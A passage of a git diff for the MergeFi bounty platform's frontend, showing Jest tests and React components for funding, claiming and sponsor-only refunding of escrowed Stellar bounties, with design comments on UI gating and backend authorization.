- mockWallet({
- networkMismatch: true,
- recheckNetworkMismatch: jest.fn().mockResolvedValue(false),
- });
- render();
- await user.click(screen.getByRole("button", { name: "Fund this bounty" }));
-
- expect(await screen.findByRole("status")).toHaveTextContent(/Escrow funded/);
- expect(mockApiPost).toHaveBeenCalledWith(
- "/bounties/bounty-1/fund",
- expect.objectContaining({ funderAddress: "GWALLET" }),
- );
- expect(refresh).toHaveBeenCalledTimes(1);
- });
-
- it("shows the connect error when the wallet connection is declined", async () => {
- const user = userEvent.setup();
- connect.mockResolvedValueOnce(null);
- mockWallet({ address: null });
- render();
- await user.click(screen.getByRole("button", { name: "Fund this bounty" }));
-
- expect(await screen.findByRole("alert")).toHaveTextContent(
- "Connect a Stellar wallet to continue.",
- );
- expect(mockApiPost).not.toHaveBeenCalled();
- });
-});
-
-describe("IssueActions — claim", () => {
- it("redirects signed-out users to /connect without calling the API", async () => {
- const user = userEvent.setup();
- mockUser(null);
- render();
- await user.click(screen.getByRole("button", { name: "Claim Bounty" }));
-
- expect(push).toHaveBeenCalledWith("/connect");
- expect(mockApiPost).not.toHaveBeenCalled();
- });
-
- it("claims as the signed-in user and shows a notice", async () => {
- const user = userEvent.setup();
- render();
- await user.click(screen.getByRole("button", { name: "Claim Bounty" }));
-
- // The contributor identity is taken from the JWT server-side, so the
- // body carries nothing — not even a client-asserted contributorId.
- expect(mockApiPost).toHaveBeenCalledWith("/bounties/bounty-1/claim", {});
- expect(await screen.findByRole("status")).toHaveTextContent(
- /You've claimed this issue/,
- );
- expect(refresh).toHaveBeenCalledTimes(1);
- });
-
- it("claims are blocked outright when the user has no payout wallet", () => {
- mockUser({ id: "user-1", stellarAddress: null });
- render();
-
- expect(
- screen.queryByRole("button", { name: "Claim Bounty" }),
- ).not.toBeInTheDocument();
- expect(screen.getByRole("status")).toHaveTextContent(/Add a payout wallet/i);
- expect(screen.getByRole("link", { name: "Connect a wallet" })).toHaveAttribute(
- "href",
- "/connect",
- );
- expect(mockApiPost).not.toHaveBeenCalled();
- expect(refresh).not.toHaveBeenCalled();
- });
-
- it("renders the API error message in a role=alert", async () => {
- const user = userEvent.setup();
- mockApiPost.mockRejectedValueOnce(
- new ApiRequestError("Bounty is not funded", 400),
- );
- render();
- await user.click(screen.getByRole("button", { name: "Claim Bounty" }));
-
- expect(await screen.findByRole("alert")).toHaveTextContent(
- "Bounty is not funded",
- );
- expect(screen.queryByRole("status")).not.toBeInTheDocument();
- expect(refresh).not.toHaveBeenCalled();
- });
-
- it("falls back to the failure message for non-API errors", async () => {
- const user = userEvent.setup();
- mockApiPost.mockRejectedValueOnce(new Error("socket hang up"));
- render();
- await user.click(screen.getByRole("button", { name: "Claim Bounty" }));
-
- expect(await screen.findByRole("alert")).toHaveTextContent("socket hang up");
- });
-});
-
-describe("IssueActions — refund (confirm-gated)", () => {
- let confirmSpy: jest.SpyInstance;
- beforeEach(() => {
- confirmSpy = jest.spyOn(window, "confirm");
- });
- afterEach(() => confirmSpy.mockRestore());
-
- it("does nothing when the confirmation is cancelled", async () => {
- const user = userEvent.setup();
- confirmSpy.mockReturnValue(false);
- render();
- await user.click(screen.getByRole("button", { name: "Refund sponsor" }));
-
- expect(confirmSpy).toHaveBeenCalledTimes(1);
- expect(mockApiPost).not.toHaveBeenCalled();
- expect(refresh).not.toHaveBeenCalled();
- });
-
- it("asks for confirmation with the amount, then refunds once confirmed", async () => {
- const user = userEvent.setup();
- confirmSpy.mockReturnValue(true);
- render();
- await user.click(screen.getByRole("button", { name: "Refund sponsor" }));
-
- expect(confirmSpy.mock.calls[0][0]).toMatch(/cannot be undone/);
- expect(confirmSpy.mock.calls[0][0]).toMatch(/250/);
- expect(mockApiPost).toHaveBeenCalledWith(
- "/bounties/bounty-1/refund",
- expect.objectContaining({ idempotencyKey: expect.any(String) }),
- );
- expect(confirmSpy.mock.invocationCallOrder[0]).toBeLessThan(
- mockApiPost.mock.invocationCallOrder[0],
- );
- expect(await screen.findByRole("status")).toHaveTextContent(
- /refunded to the sponsor/,
- );
- });
-});
-
-describe("IssueActions — refund is offered to the funder only", () => {
- const refundButton = () =>
- screen.queryByRole("button", { name: "Refund sponsor" });
-
- it("is never offered to a signed-out reader", () => {
- mockUser(null);
- render();
-
- expect(refundButton()).not.toBeInTheDocument();
- // Claiming stays open — it is not the sponsor's action to restrict.
- expect(screen.getByRole("button", { name: "Claim Bounty" })).toBeInTheDocument();
- });
-
- it("is never offered to a signed-in user who did not fund this bounty", () => {
- mockUser({ id: "someone-else", stellarAddress: "GOTHER" });
- render();
-
- expect(refundButton()).not.toBeInTheDocument();
- // Nothing else is actionable on a claimed bounty for a non-sponsor, so
- // the action row renders empty rather than offering a misleading control.
- expect(screen.queryAllByRole("button")).toHaveLength(0);
- });
-
- it("is withheld when the bounty carries no sponsor identity to compare against", () => {
- render();
-
- expect(refundButton()).not.toBeInTheDocument();
- });
-
- it("is offered to the funder, who is the only account that can use it", () => {
- mockUser({ id: "user-1", stellarAddress: "GSTELLAR" });
- render(
- ,
- );
-
- expect(refundButton()).toBeInTheDocument();
- });
-});
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { IssueActions } from "./IssueActions";
+import { useAuth } from "@/context/AuthContext";
+import { useWallet } from "@/context/WalletContext";
+import { apiPost, ApiRequestError } from "@/lib/api";
+import type { Bounty, BountyStatus } from "@/types";
+
+const push = jest.fn();
+const refresh = jest.fn();
+jest.mock("next/navigation", () => ({
+ useRouter: () => ({ push, refresh }),
+}));
+jest.mock("@/context/AuthContext", () => ({ useAuth: jest.fn() }));
+jest.mock("@/context/WalletContext", () => ({ useWallet: jest.fn() }));
+jest.mock("@/lib/api", () => ({
+ ...jest.requireActual("@/lib/api"),
+ apiPost: jest.fn(),
+}));
+
+const mockUseAuth = useAuth as jest.MockedFunction;
+const mockUseWallet = useWallet as jest.MockedFunction;
+const mockApiPost = apiPost as jest.MockedFunction;
+
+const connect = jest.fn();
+
+function makeBounty(
+ status: BountyStatus,
+ overrides: Partial = {},
+): Bounty {
+ return {
+ id: "bounty-1",
+ title: "Fix the thing",
+ description: "",
+ reward: 250,
+ asset: "USDC",
+ difficulty: "beginner",
+ status,
+ org: "mergefi",
+ repo: "frontend",
+ issueNumber: 1,
+ labels: [],
+ deadline: null,
+ // The status table below reads as "what the sponsor sees" — refund is
+ // only ever rendered to this account. Gating itself is covered separately.
+ sponsorId: "user-1",
+ ...overrides,
+ } as Bounty;
+}
+
+function mockWallet(overrides: Record = {}) {
+ mockUseWallet.mockReturnValue({
+ address: "GWALLET",
+ connect,
+ connecting: false,
+ addressMismatch: false,
+ networkMismatch: false,
+ recheckNetworkMismatch: jest.fn().mockResolvedValue(false),
+ getError: () => null,
+ ...overrides,
+ } as unknown as ReturnType);
+}
+
+function mockUser(
+ user: { id: string; stellarAddress?: string | null } | null = {
+ id: "user-1",
+ stellarAddress: "GSTELLAR",
+ },
+) {
+ mockUseAuth.mockReturnValue({ user } as unknown as ReturnType<
+ typeof useAuth
+ >);
+}
+
+beforeEach(() => {
+ jest.clearAllMocks();
+ mockWallet();
+ mockUser();
+ // Claim consumes `{ data: bounty }` on success; every other endpoint here
+ // returns a body the handler ignores.
+ mockApiPost.mockImplementation((async (path: string) =>
+ path.endsWith("/claim") ? { data: makeBounty("claimed") } : undefined) as never);
+});
+
+describe("IssueActions — action buttons per bounty.status", () => {
+ const buttonNames = () =>
+ screen.queryAllByRole("button").map((b) => b.textContent);
+
+ it("open → only 'Fund this bounty'", () => {
+ render();
+ expect(buttonNames()).toEqual(["Fund this bounty"]);
+ });
+
+ it("funded → 'Claim Bounty' and 'Refund sponsor'", () => {
+ render();
+ expect(buttonNames()).toEqual(["Claim Bounty", "Refund sponsor"]);
+ });
+
+ it("claimed → only 'Refund sponsor' (no second claim)", () => {
+ render();
+ expect(buttonNames()).toEqual(["Refund sponsor"]);
+ });
+
+ it.each([
+ ["in_review", "Awaiting PR merge"],
+ ["merged", "Payout pending"],
+ ["paid", "Payout complete"],
+ ["refunded", "No action available"],
+ ["expired", "No action available"],
+ ] as const)(
+ "%s → a single disabled '%s' button and no money-moving action",
+ (status, label) => {
+ render();
+ const buttons = screen.getAllByRole("button");
+ expect(buttons).toHaveLength(1);
+ expect(buttons[0]).toHaveTextContent(label);
+ expect(buttons[0]).toBeDisabled();
+ expect(
+ screen.queryByRole("button", { name: /fund|claim|refund/i }),
+ ).not.toBeInTheDocument();
+ },
+ );
+});
+
+describe("IssueActions — fund (wallet-gated)", () => {
+ it("funds with the connected wallet address, shows a notice and refreshes", async () => {
+ const user = userEvent.setup();
+ render();
+ await user.click(screen.getByRole("button", { name: "Fund this bounty" }));
+
+ expect(mockApiPost).toHaveBeenCalledWith(
+ "/bounties/bounty-1/fund",
+ expect.objectContaining({
+ funderAddress: "GWALLET",
+ idempotencyKey: expect.any(String),
+ }),
+ );
+ const notice = await screen.findByRole("status");
+ expect(notice).toHaveTextContent(/Escrow funded on-chain/);
+ expect(notice).toHaveAttribute("aria-live", "polite");
+ expect(refresh).toHaveBeenCalledTimes(1);
+ });
+
+ it("connects first when no wallet is connected", async () => {
+ const user = userEvent.setup();
+ connect.mockResolvedValueOnce("GNEWWALLET");
+ mockWallet({ address: null });
+ render();
+ await user.click(screen.getByRole("button", { name: "Fund this bounty" }));
+
+ expect(connect).toHaveBeenCalledTimes(1);
+ expect(mockApiPost).toHaveBeenCalledWith(
+ "/bounties/bounty-1/fund",
+ expect.objectContaining({ funderAddress: "GNEWWALLET" }),
+ );
+ });
+
+ it("blocks funding when addressMismatch is set — no connect, no apiPost, error shown", async () => {
+ const user = userEvent.setup();
+ mockWallet({ addressMismatch: true });
+ render();
+ await user.click(screen.getByRole("button", { name: "Fund this bounty" }));
+
+ expect(await screen.findByRole("alert")).toHaveTextContent(
+ /active account has changed/,
+ );
+ expect(connect).not.toHaveBeenCalled();
+ expect(mockApiPost).not.toHaveBeenCalled();
+ expect(refresh).not.toHaveBeenCalled();
+ });
+
+ it("blocks funding when a live network re-check still reports a mismatch", async () => {
+ const user = userEvent.setup();
+ mockWallet({
+ networkMismatch: true,
+ recheckNetworkMismatch: jest.fn().mockResolvedValue(true),
+ });
+ render();
+ await user.click(screen.getByRole("button", { name: "Fund this bounty" }));
+
+ expect(await screen.findByRole("alert")).toHaveTextContent(/wrong network/);
+ expect(connect).not.toHaveBeenCalled();
+ expect(mockApiPost).not.toHaveBeenCalled();
+ expect(refresh).not.toHaveBeenCalled();
+ });
+
+ // The mount-time flag used to be authoritative: a user who fixed the
+ // network inside Freighter stayed locked out until a full page reload.
+ it("funds normally once the re-check finds the network corrected", async () => {
+ const user = userEvent.setup();
+ mockWallet({
+ networkMismatch: true,
+ recheckNetworkMismatch: jest.fn().mockResolvedValue(false),
+ });
+ render();
+ await user.click(screen.getByRole("button", { name: "Fund this bounty" }));
+
+ expect(await screen.findByRole("status")).toHaveTextContent(/Escrow funded/);
+ expect(mockApiPost).toHaveBeenCalledWith(
+ "/bounties/bounty-1/fund",
+ expect.objectContaining({ funderAddress: "GWALLET" }),
+ );
+ expect(refresh).toHaveBeenCalledTimes(1);
+ });
+
+ it("shows the connect error when the wallet connection is declined", async () => {
+ const user = userEvent.setup();
+ connect.mockResolvedValueOnce(null);
+ mockWallet({ address: null });
+ render();
+ await user.click(screen.getByRole("button", { name: "Fund this bounty" }));
+
+ expect(await screen.findByRole("alert")).toHaveTextContent(
+ "Connect a Stellar wallet to continue.",
+ );
+ expect(mockApiPost).not.toHaveBeenCalled();
+ });
+});
+
+describe("IssueActions — claim", () => {
+ it("redirects signed-out users to /connect without calling the API", async () => {
+ const user = userEvent.setup();
+ mockUser(null);
+ render();
+ await user.click(screen.getByRole("button", { name: "Claim Bounty" }));
+
+ expect(push).toHaveBeenCalledWith("/connect");
+ expect(mockApiPost).not.toHaveBeenCalled();
+ });
+
+ it("claims as the signed-in user and shows a notice", async () => {
+ const user = userEvent.setup();
+ render();
+ await user.click(screen.getByRole("button", { name: "Claim Bounty" }));
+
+ // The contributor identity is taken from the JWT server-side, so the
+ // body carries nothing — not even a client-asserted contributorId.
+ expect(mockApiPost).toHaveBeenCalledWith("/bounties/bounty-1/claim", {});
+ expect(await screen.findByRole("status")).toHaveTextContent(
+ /You've claimed this issue/,
+ );
+ expect(refresh).toHaveBeenCalledTimes(1);
+ });
+
+ it("claims are blocked outright when the user has no payout wallet", () => {
+ mockUser({ id: "user-1", stellarAddress: null });
+ render();
+
+ expect(
+ screen.queryByRole("button", { name: "Claim Bounty" }),
+ ).not.toBeInTheDocument();
+ expect(screen.getByRole("status")).toHaveTextContent(/Add a payout wallet/i);
+ expect(screen.getByRole("link", { name: "Connect a wallet" })).toHaveAttribute(
+ "href",
+ "/connect",
+ );
+ expect(mockApiPost).not.toHaveBeenCalled();
+ expect(refresh).not.toHaveBeenCalled();
+ });
+
+ it("renders the API error message in a role=alert", async () => {
+ const user = userEvent.setup();
+ mockApiPost.mockRejectedValueOnce(
+ new ApiRequestError("Bounty is not funded", 400),
+ );
+ render();
+ await user.click(screen.getByRole("button", { name: "Claim Bounty" }));
+
+ expect(await screen.findByRole("alert")).toHaveTextContent(
+ "Bounty is not funded",
+ );
+ expect(screen.queryByRole("status")).not.toBeInTheDocument();
+ expect(refresh).not.toHaveBeenCalled();
+ });
+
+ it("falls back to the failure message for non-API errors", async () => {
+ const user = userEvent.setup();
+ mockApiPost.mockRejectedValueOnce(new Error("socket hang up"));
+ render();
+ await user.click(screen.getByRole("button", { name: "Claim Bounty" }));
+
+ expect(await screen.findByRole("alert")).toHaveTextContent("socket hang up");
+ });
+});
+
+describe("IssueActions — refund (confirm-gated)", () => {
+ let confirmSpy: jest.SpyInstance;
+ beforeEach(() => {
+ confirmSpy = jest.spyOn(window, "confirm");
+ });
+ afterEach(() => confirmSpy.mockRestore());
+
+ it("does nothing when the confirmation is cancelled", async () => {
+ const user = userEvent.setup();
+ confirmSpy.mockReturnValue(false);
+ render();
+ await user.click(screen.getByRole("button", { name: "Refund sponsor" }));
+
+ expect(confirmSpy).toHaveBeenCalledTimes(1);
+ expect(mockApiPost).not.toHaveBeenCalled();
+ expect(refresh).not.toHaveBeenCalled();
+ });
+
+ it("asks for confirmation with the amount, then refunds once confirmed", async () => {
+ const user = userEvent.setup();
+ confirmSpy.mockReturnValue(true);
+ render();
+ await user.click(screen.getByRole("button", { name: "Refund sponsor" }));
+
+ expect(confirmSpy.mock.calls[0][0]).toMatch(/cannot be undone/);
+ expect(confirmSpy.mock.calls[0][0]).toMatch(/250/);
+ expect(mockApiPost).toHaveBeenCalledWith(
+ "/bounties/bounty-1/refund",
+ expect.objectContaining({ idempotencyKey: expect.any(String) }),
+ );
+ expect(confirmSpy.mock.invocationCallOrder[0]).toBeLessThan(
+ mockApiPost.mock.invocationCallOrder[0],
+ );
+ expect(await screen.findByRole("status")).toHaveTextContent(
+ /refunded to the sponsor/,
+ );
+ });
+});
+
+describe("IssueActions — refund is offered to the funder only", () => {
+ const refundButton = () =>
+ screen.queryByRole("button", { name: "Refund sponsor" });
+
+ it("is never offered to a signed-out reader", () => {
+ mockUser(null);
+ render();
+
+ expect(refundButton()).not.toBeInTheDocument();
+ // Claiming stays open — it is not the sponsor's action to restrict.
+ expect(screen.getByRole("button", { name: "Claim Bounty" })).toBeInTheDocument();
+ });
+
+ it("is never offered to a signed-in user who did not fund this bounty", () => {
+ mockUser({ id: "someone-else", stellarAddress: "GOTHER" });
+ render();
+
+ expect(refundButton()).not.toBeInTheDocument();
+ // Nothing else is actionable on a claimed bounty for a non-sponsor, so
+ // the action row renders empty rather than offering a misleading control.
+ expect(screen.queryAllByRole("button")).toHaveLength(0);
+ });
+
+ it("is withheld when the bounty carries no sponsor identity to compare against", () => {
+ render();
+
+ expect(refundButton()).not.toBeInTheDocument();
+ });
+
+ it("is offered to the funder, who is the only account that can use it", () => {
+ mockUser({ id: "user-1", stellarAddress: "GSTELLAR" });
+ render(
+ ,
+ );
+
+ expect(refundButton()).toBeInTheDocument();
+ });
+});
diff --git a/src/app/issues/[id]/IssueActions.tsx b/src/app/issues/[id]/IssueActions.tsx
index 7fa514d7..2dd9788d 100644
--- a/src/app/issues/[id]/IssueActions.tsx
+++ b/src/app/issues/[id]/IssueActions.tsx
@@ -1,195 +1,195 @@
-"use client";
-
-import { useState } from "react";
-import { useRouter } from "next/navigation";
-import { Button } from "@/components/ui/Button";
-import { useAuth } from "@/context/AuthContext";
-import { useWalletAction } from "@/hooks/useWalletAction";
-import { apiPost, ApiRequestError } from "@/lib/api";
-import { formatCurrency, generateIdempotencyKey } from "@/lib/utils";
-import { ClaimButton } from "@/components/bounty/ClaimButton";
-import type { Bounty } from "@/types";
-
-export function IssueActions({ bounty }: { bounty: Bounty }) {
- const router = useRouter();
- const { user } = useAuth();
- const { runWithWallet, connecting } = useWalletAction();
- const [pending, setPending] = useState(false);
- const [error, setError] = useState(null);
- const [notice, setNotice] = useState(null);
-
- /**
- * Whether the signed-in user is this bounty's sponsor, i.e. the account
- * whose money the escrow holds.
- *
- * Fail closed on every missing half: signed out, or a bounty with no
- * `sponsorId` (mock data, or a backend response predating the column) —
- * in neither case can we demonstrate the viewer is the funder, and the
- * refund button must not be offered on an assumption.
- *
- * Not a *security* boundary — mergefi-backend independently enforces
- * `bounty.sponsorId === callerUserId` inside `BountiesService.refund()`
- * (ForbiddenException → 403; see the note on `handleRefund` below). This
- * exists so the UI stops advertising a destructive action to every visitor
- * who can read the page.
- */
- const isSponsor = !!user && !!bounty.sponsorId && user.id === bounty.sponsorId;
-
- /**
- * "Fund this bounty" is deliberately gated on `status === "open"` only —
- * unlike "Refund sponsor", it is not additionally gated on `isSponsor`.
- * The asymmetry is a design decision, so here is the reasoning, confirmed
- * against mergefi-backend rather than assumed:
- *
- * - Server-side the two routes are authorized *identically*:
- * `POST /bounties/:id/fund` and `POST /bounties/:id/refund` both require
- * the SPONSOR or MAINTAINER role, and both services throw
- * `ForbiddenException` unless `bounty.sponsorId === callerUserId`. There
- * is no crowdfunding path — a bounty carries a single nullable
- * `sponsorId` FK and a single `Escrow` row, so "the funder" is always
- * exactly one account, never a set of contributors.
- * - Refund was the one to gate in the UI because it was being offered to
- * every authenticated visitor with no relationship check at all: a
- * destructive, already-funded escrow action advertised as a normal
- * button. The affordance itself was the bug.
- * - Fund stays open as the page's primary forward CTA on an open bounty.
- * A viewer who isn't the sponsor gets the backend's 403 surfaced as a
- * normal error message, having moved no money — a rejected forward
- * action, not a hijackable one.
- *
- * Both buttons are therefore sponsor-only in effect; only refund is
- * sponsor-only in appearance. If that becomes confusing rather than
- * economical, gating Fund on `isSponsor` too is a one-line change — the
- * field it needs now exists.
- */
- // SCOPED OUT (deliberate, not overlooked): bounty.teamSplitsValid is now
- // surfaced as a visible warning on IssueDetailPage, but it does *not* gate
- // "Claim this issue" or "Fund this bounty" here. Claiming is a
- // server-authoritative action — the backend re-validates the split before
- // any payout is released, so client-side gating here would only add a dead
- // end: a contributor blocked from claiming because of a split they don't
- // control (the sponsor/maintainer sets it) would have no way to resolve it.
- // A blocked action with no recovery path is worse than a visible warning.
- // If split integrity ever needs to be enforced at claim time, it belongs in
- // the backend's claim/payout validation, surfaced as an error on the POST —
- // not as a client-side disabled button.
-
- async function handleFund() {
- setError(null);
- setNotice(null);
- setPending(true);
- try {
- const result = await runWithWallet(async (walletAddress) => {
- await apiPost(`/bounties/${bounty.id}/fund`, {
- funderAddress: walletAddress,
- idempotencyKey: generateIdempotencyKey(),
- });
- setNotice("Escrow funded on-chain. This bounty is now open for claims.");
- }, "Connect a Stellar wallet to continue.");
- if (!result.ok) {
- setError(result.error);
- return;
- }
- router.refresh();
- } catch (err) {
- setError(err instanceof ApiRequestError ? err.message : "Something went wrong.");
- } finally {
- setPending(false);
- }
- }
-
- const handleClaimSuccess = () => {
- setNotice("You've claimed this issue. Open a pull request to get started.");
- router.refresh();
- };
-
- /**
- * Refund the escrowed bounty back to its sponsor.
- *
- * Note the request body carries no sponsor identity, and deliberately
- * shouldn't: mergefi-backend reads the caller from the JWT
- * (`req.user.userId`) and compares it to `bounty.sponsorId` itself, so a
- * client-supplied `funderId` would be ignored rather than trusted. The
- * identity check that matters therefore happens twice — server-side as a
- * hard 403, and in the render condition below so the button is never
- * offered to someone the server is going to reject.
- */
- async function handleRefund() {
- const confirmed = window.confirm(
- `Are you sure you want to refund this bounty? This will return ${formatCurrency(bounty.reward, bounty.asset)} to the sponsor and cannot be undone.`,
- );
- if (!confirmed) return;
-
- setError(null);
- setNotice(null);
- setPending(true);
- try {
- await apiPost(`/bounties/${bounty.id}/refund`, {
- idempotencyKey: generateIdempotencyKey(),
- });
- setNotice("Escrowed funds were refunded to the sponsor.");
- router.refresh();
- } catch (err) {
- setError(err instanceof ApiRequestError ? err.message : "Something went wrong.");
- } finally {
- setPending(false);
- }
- }
-
- return (
-
-
- {bounty.status === "open" && (
-
- )}
- {bounty.status === "funded" && (
-
- )}
- {/*
- Sponsor-only. Rendered for nobody else — not for signed-out
- readers, not for a contributor browsing funded work, and not when
- the bounty carries no sponsorId to compare against. See isSponsor.
- */}
- {isSponsor && (bounty.status === "funded" || bounty.status === "claimed") && (
-
- )}
- {["in_review", "merged", "paid", "refunded", "expired"].includes(
- bounty.status,
- ) && (
-
- )}
-
- {notice && (
-
- {notice}
-
- )}
- {error && (
-
- {error}
-
- )}
-
- Funding and claiming write to the live mergefi-backend API. Merge
- detection and payout release happen automatically via GitHub
- webhooks once a linked pull request is merged.
-
-
- );
-}
+"use client";
+
+import { useState } from "react";
+import { useRouter } from "next/navigation";
+import { Button } from "@/components/ui/Button";
+import { useAuth } from "@/context/AuthContext";
+import { useWalletAction } from "@/hooks/useWalletAction";
+import { apiPost, ApiRequestError } from "@/lib/api";
+import { formatCurrency, generateIdempotencyKey } from "@/lib/utils";
+import { ClaimButton } from "@/components/bounty/ClaimButton";
+import type { Bounty } from "@/types";
+
+export function IssueActions({ bounty }: { bounty: Bounty }) {
+ const router = useRouter();
+ const { user } = useAuth();
+ const { runWithWallet, connecting } = useWalletAction();
+ const [pending, setPending] = useState(false);
+ const [error, setError] = useState(null);
+ const [notice, setNotice] = useState(null);
+
+ /**
+ * Whether the signed-in user is this bounty's sponsor, i.e. the account
+ * whose money the escrow holds.
+ *
+ * Fail closed on every missing half: signed out, or a bounty with no
+ * `sponsorId` (mock data, or a backend response predating the column) —
+ * in neither case can we demonstrate the viewer is the funder, and the
+ * refund button must not be offered on an assumption.
+ *
+ * Not a *security* boundary — mergefi-backend independently enforces
+ * `bounty.sponsorId === callerUserId` inside `BountiesService.refund()`
+ * (ForbiddenException → 403; see the note on `handleRefund` below). This
+ * exists so the UI stops advertising a destructive action to every visitor
+ * who can read the page.
+ */
+ const isSponsor = !!user && !!bounty.sponsorId && user.id === bounty.sponsorId;
+
+ /**
+ * "Fund this bounty" is deliberately gated on `status === "open"` only —
+ * unlike "Refund sponsor", it is not additionally gated on `isSponsor`.
+ * The asymmetry is a design decision, so here is the reasoning, confirmed
+ * against mergefi-backend rather than assumed:
+ *
+ * - Server-side the two routes are authorized *identically*:
+ * `POST /bounties/:id/fund` and `POST /bounties/:id/refund` both require
+ * the SPONSOR or MAINTAINER role, and both services throw
+ * `ForbiddenException` unless `bounty.sponsorId === callerUserId`. There
+ * is no crowdfunding path — a bounty carries a single nullable
+ * `sponsorId` FK and a single `Escrow` row, so "the funder" is always
+ * exactly one account, never a set of contributors.
+ * - Refund was the one to gate in the UI because it was being offered to
+ * every authenticated visitor with no relationship check at all: a
+ * destructive, already-funded escrow action advertised as a normal
+ * button. The affordance itself was the bug.
+ * - Fund stays open as the page's primary forward CTA on an open bounty.
+ * A viewer who isn't the sponsor gets the backend's 403 surfaced as a
+ * normal error message, having moved no money — a rejected forward
+ * action, not a hijackable one.
+ *
+ * Both buttons are therefore sponsor-only in effect; only refund is
+ * sponsor-only in appearance. If that becomes confusing rather than
+ * economical, gating Fund on `isSponsor` too is a one-line change — the
+ * field it needs now exists.
+ */
+ // SCOPED OUT (deliberate, not overlooked): bounty.teamSplitsValid is now
+ // surfaced as a visible warning on IssueDetailPage, but it does *not* gate
+ // "Claim this issue" or "Fund this bounty" here. Claiming is a
+ // server-authoritative action — the backend re-validates the split before
+ // any payout is released, so client-side gating here would only add a dead
+ // end: a contributor blocked from claiming because of a split they don't
+ // control (the sponsor/maintainer sets it) would have no way to resolve it.
+ // A blocked action with no recovery path is worse than a visible warning.
+ // If split integrity ever needs to be enforced at claim time, it belongs in
+ // the backend's claim/payout validation, surfaced as an error on the POST —
+ // not as a client-side disabled button.
+
+ async function handleFund() {
+ setError(null);
+ setNotice(null);
+ setPending(true);
+ try {
+ const result = await runWithWallet(async (walletAddress) => {
+ await apiPost(`/bounties/${bounty.id}/fund`, {
+ funderAddress: walletAddress,
+ idempotencyKey: generateIdempotencyKey(),
+ });
+ setNotice("Escrow funded on-chain. This bounty is now open for claims.");
+ }, "Connect a Stellar wallet to continue.");
+ if (!result.ok) {
+ setError(result.error);
+ return;
+ }
+ router.refresh();
+ } catch (err) {
+ setError(err instanceof ApiRequestError ? err.message : "Something went wrong.");
+ } finally {
+ setPending(false);
+ }
+ }
+
+ const handleClaimSuccess = () => {
+ setNotice("You've claimed this issue. Open a pull request to get started.");
+ router.refresh();
+ };
+
+ /**
+ * Refund the escrowed bounty back to its sponsor.
+ *
+ * Note the request body carries no sponsor identity, and deliberately
+ * shouldn't: mergefi-backend reads the caller from the JWT
+ * (`req.user.userId`) and compares it to `bounty.sponsorId` itself, so a
+ * client-supplied `funderId` would be ignored rather than trusted. The
+ * identity check that matters therefore happens twice — server-side as a
+ * hard 403, and in the render condition below so the button is never
+ * offered to someone the server is going to reject.
+ */
+ async function handleRefund() {
+ const confirmed = window.confirm(
+ `Are you sure you want to refund this bounty? This will return ${formatCurrency(bounty.reward, bounty.asset)} to the sponsor and cannot be undone.`,
+ );
+ if (!confirmed) return;
+
+ setError(null);
+ setNotice(null);
+ setPending(true);
+ try {
+ await apiPost(`/bounties/${bounty.id}/refund`, {
+ idempotencyKey: generateIdempotencyKey(),
+ });
+ setNotice("Escrowed funds were refunded to the sponsor.");
+ router.refresh();
+ } catch (err) {
+ setError(err instanceof ApiRequestError ? err.message : "Something went wrong.");
+ } finally {
+ setPending(false);
+ }
+ }
+
+ return (
+
+
+ {bounty.status === "open" && (
+
+ )}
+ {bounty.status === "funded" && (
+
+ )}
+ {/*
+ Sponsor-only. Rendered for nobody else — not for signed-out
+ readers, not for a contributor browsing funded work, and not when
+ the bounty carries no sponsorId to compare against. See isSponsor.
+ */}
+ {isSponsor && (bounty.status === "funded" || bounty.status === "claimed") && (
+
+ )}
+ {["in_review", "merged", "paid", "refunded", "expired"].includes(
+ bounty.status,
+ ) && (
+
+ )}
+
+ {notice && (
+
+ {notice}
+
+ )}
+ {error && (
+
+ {error}
+
+ )}
+
+ Funding and claiming write to the live mergefi-backend API. Merge
+ detection and payout release happen automatically via GitHub
+ webhooks once a linked pull request is merged.
+
- {splitsWarning} — the listed shares don't cover the full
- reward, so don't rely on them until the team's split
- has been corrected.
-
-
-
- )}
-
- {bounty.teamSplits.map((split, index) => (
-
-
- {split.role}
- {split.contributor ? ` (${split.contributor})` : ""}
-
- {/* emerald-700 rather than emerald-600: 3.77:1 on white fails
- WCAG AA for text, and this is a payout figure. emerald-700
- measures 5.48:1. Dark mode already passed at 9.29:1. */}
-
- {split.percentage}%
-
-
- ))}
-
-
- )}
-
-
-
- );
-}
+import type { Metadata } from "next";
+import { notFound } from "next/navigation";
+import { ShieldCheck, Clock, GitBranch, Milestone as MilestoneIcon, TriangleAlert } from "lucide-react";
+import { fetchBounty } from "@/lib/api";
+import { mockBounties } from "@/lib/mock-data";
+import { DifficultyBadge, Badge } from "@/components/ui/Badge";
+import { Card } from "@/components/ui/Card";
+import { BountyDescription } from "@/components/bounty/BountyDescription";
+import { LiveBountyStatus } from "@/components/bounty/LiveBountyStatus";
+import { formatCurrency, daysUntil, formatDaysUntil } from "@/lib/utils";
+import type { BountyStatus } from "@/types";
+import { IssueActions } from "./IssueActions";
+
+const ESCROW_STATUS_LABELS: Record = {
+ open: "Awaiting funding",
+ funded: "Funds locked",
+ claimed: "Funds locked",
+ in_review: "Funds locked",
+ merged: "Funds locked",
+ paid: "Paid out",
+ refunded: "Refunded to sponsor",
+ expired: "Expired, unclaimed",
+};
+
+export async function generateMetadata({
+ params,
+}: {
+ params: Promise<{ id: string }>;
+}): Promise {
+ const { id } = await params;
+ const { data: bounty } = await fetchBounty(
+ id,
+ mockBounties.find((b) => b.id === id),
+ );
+
+ if (!bounty) {
+ return { title: "Issue not found | MergeFi" };
+ }
+
+ const title = `${bounty.title} — ${formatCurrency(bounty.reward, bounty.asset)} | MergeFi`;
+ const description = bounty.description || `Fund or claim this bounty on MergeFi.`;
+
+ return {
+ title,
+ description,
+ openGraph: {
+ title,
+ description,
+ url: `/issues/${id}`,
+ },
+ twitter: {
+ card: "summary_large_image",
+ title,
+ description,
+ },
+ };
+}
+
+export default async function IssueDetailPage({
+ params,
+}: {
+ params: Promise<{ id: string }>;
+}) {
+ const { id } = await params;
+ const { data: bounty } = await fetchBounty(
+ id,
+ mockBounties.find((b) => b.id === id),
+ );
+
+ if (!bounty) notFound();
+
+ const days = bounty.deadline ? daysUntil(bounty.deadline) : null;
+
+ // adaptBounty runs validateTeamSplits on every bounty that has a team and
+ // attaches the result as bounty.teamSplitsValid. Until now that flag was
+ // computed and then never read anywhere in the app, so splits summing to
+ // 85% or 110% rendered as a confident-looking public payout breakdown with
+ // no indication anything was wrong. Reuse validateTeamSplits' own message
+ // rather than inventing copy here; the fallback only fires in the
